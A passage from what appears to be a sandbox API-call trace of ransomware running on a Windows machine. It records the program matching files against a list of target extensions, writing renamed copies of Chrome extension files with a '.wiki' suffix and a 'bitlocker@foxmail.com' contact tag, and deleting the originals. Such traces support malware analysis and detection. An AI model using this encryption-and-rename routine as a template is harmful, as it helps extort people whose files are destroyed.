dwFileAttributes=0x2020) returned 1 [0173.277] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json")) returned 1 [0173.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.277] lstrlenW (lpString=".doc") returned 4 [0173.277] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.277] lstrlenW (lpString=".docx") returned 5 [0173.277] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.277] lstrlenW (lpString=".pdf") returned 4 [0173.277] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.277] lstrlenW (lpString=".xls") returned 4 [0173.277] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.277] lstrlenW (lpString=".xlsx") returned 5 [0173.277] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.277] lstrlenW (lpString=".ppt") returned 4 [0173.277] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.277] lstrlenW (lpString=".zip") returned 4 [0173.277] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.277] lstrlenW (lpString=".rar") returned 4 [0173.277] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.277] lstrlenW (lpString=".bz2") returned 4 [0173.278] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.278] lstrlenW (lpString=".7z") returned 3 [0173.278] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.278] lstrlenW (lpString=".dbf") returned 4 [0173.278] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.278] lstrlenW (lpString=".1cd") returned 4 [0173.278] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.278] lstrlenW (lpString=".jpg") returned 4 [0173.278] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.278] lstrlenW (lpString=".doc") returned 4 [0173.278] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.278] lstrlenW (lpString=".docx") returned 5 [0173.278] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.278] lstrlenW (lpString=".pdf") returned 4 [0173.278] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.278] lstrlenW (lpString=".xls") returned 4 [0173.278] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.278] lstrlenW (lpString=".xlsx") returned 5 [0173.278] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.278] lstrlenW (lpString=".ppt") returned 4 [0173.278] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.278] lstrlenW (lpString=".zip") returned 4 [0173.278] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.278] lstrlenW (lpString=".rar") returned 4 [0173.278] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.279] lstrlenW (lpString=".bz2") returned 4 [0173.279] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.279] lstrlenW (lpString=".7z") returned 3 [0173.279] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.279] lstrlenW (lpString=".dbf") returned 4 [0173.279] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.279] lstrlenW (lpString=".1cd") returned 4 [0173.279] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0173.279] lstrlenW (lpString=".jpg") returned 4 [0173.279] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.279] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.279] lstrlenW (lpString="messages.json") returned 13 [0173.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.280] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=195) returned 1 [0173.280] CloseHandle (hObject=0x1a0) returned 1 [0173.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json")) returned 0x2020 [0173.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.280] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.280] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.281] GetLastError () returned 0x0 [0173.281] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xc3, lpOverlapped=0x0) returned 1 [0173.282] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.282] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.282] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.283] SetEndOfFile (hFile=0x1b4) returned 1 [0173.283] CloseHandle (hObject=0x1b4) returned 1 [0173.283] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.283] SetEndOfFile (hFile=0x1a0) returned 1 [0173.284] CloseHandle (hObject=0x1a0) returned 1 [0173.293] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.293] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json")) returned 1 [0173.293] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.293] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.293] lstrlenW (lpString=".doc") returned 4 [0173.293] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.293] lstrlenW (lpString=".docx") returned 5 [0173.293] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.293] lstrlenW (lpString=".pdf") returned 4 [0173.293] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.293] lstrlenW (lpString=".xls") returned 4 [0173.293] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.293] lstrlenW (lpString=".xlsx") returned 5 [0173.293] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.520] lstrlenW (lpString=".ppt") returned 4 [0173.520] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.520] lstrlenW (lpString=".zip") returned 4 [0173.520] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.520] lstrlenW (lpString=".rar") returned 4 [0173.520] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.520] lstrlenW (lpString=".bz2") returned 4 [0173.520] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.520] lstrlenW (lpString=".7z") returned 3 [0173.520] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.520] lstrlenW (lpString=".dbf") returned 4 [0173.520] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.520] lstrlenW (lpString=".1cd") returned 4 [0173.520] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.521] lstrlenW (lpString=".jpg") returned 4 [0173.521] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.521] lstrlenW (lpString=".doc") returned 4 [0173.521] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.521] lstrlenW (lpString=".docx") returned 5 [0173.521] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.521] lstrlenW (lpString=".pdf") returned 4 [0173.521] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.521] lstrlenW (lpString=".xls") returned 4 [0173.521] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.521] lstrlenW (lpString=".xlsx") returned 5 [0173.521] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.521] lstrlenW (lpString=".ppt") returned 4 [0173.521] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.521] lstrlenW (lpString=".zip") returned 4 [0173.521] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.521] lstrlenW (lpString=".rar") returned 4 [0173.521] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.521] lstrlenW (lpString=".bz2") returned 4 [0173.521] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.521] lstrlenW (lpString=".7z") returned 3 [0173.521] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.521] lstrlenW (lpString=".dbf") returned 4 [0173.521] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.522] lstrlenW (lpString=".1cd") returned 4 [0173.522] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 151 [0173.522] lstrlenW (lpString=".jpg") returned 4 [0173.522] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.522] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.522] lstrlenW (lpString="messages.json") returned 13 [0173.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.523] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=206) returned 1 [0173.523] CloseHandle (hObject=0x1b4) returned 1 [0173.523] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0173.523] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.523] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.524] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.524] GetLastError () returned 0x0 [0173.524] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xce, lpOverlapped=0x0) returned 1 [0173.525] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.526] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.526] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.526] SetEndOfFile (hFile=0x198) returned 1 [0173.527] CloseHandle (hObject=0x198) returned 1 [0173.527] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.527] SetEndOfFile (hFile=0x1b4) returned 1 [0173.527] CloseHandle (hObject=0x1b4) returned 1 [0173.528] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.528] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 1 [0173.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.528] lstrlenW (lpString=".doc") returned 4 [0173.528] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.528] lstrlenW (lpString=".docx") returned 5 [0173.528] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.528] lstrlenW (lpString=".pdf") returned 4 [0173.528] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.528] lstrlenW (lpString=".xls") returned 4 [0173.528] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.528] lstrlenW (lpString=".xlsx") returned 5 [0173.528] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.528] lstrlenW (lpString=".ppt") returned 4 [0173.528] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.528] lstrlenW (lpString=".zip") returned 4 [0173.529] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.529] lstrlenW (lpString=".rar") returned 4 [0173.529] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.529] lstrlenW (lpString=".bz2") returned 4 [0173.529] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.529] lstrlenW (lpString=".7z") returned 3 [0173.529] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.529] lstrlenW (lpString=".dbf") returned 4 [0173.529] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.529] lstrlenW (lpString=".1cd") returned 4 [0173.529] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.529] lstrlenW (lpString=".jpg") returned 4 [0173.529] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.529] lstrlenW (lpString=".doc") returned 4 [0173.529] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.529] lstrlenW (lpString=".docx") returned 5 [0173.529] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.529] lstrlenW (lpString=".pdf") returned 4 [0173.529] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.529] lstrlenW (lpString=".xls") returned 4 [0173.529] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.529] lstrlenW 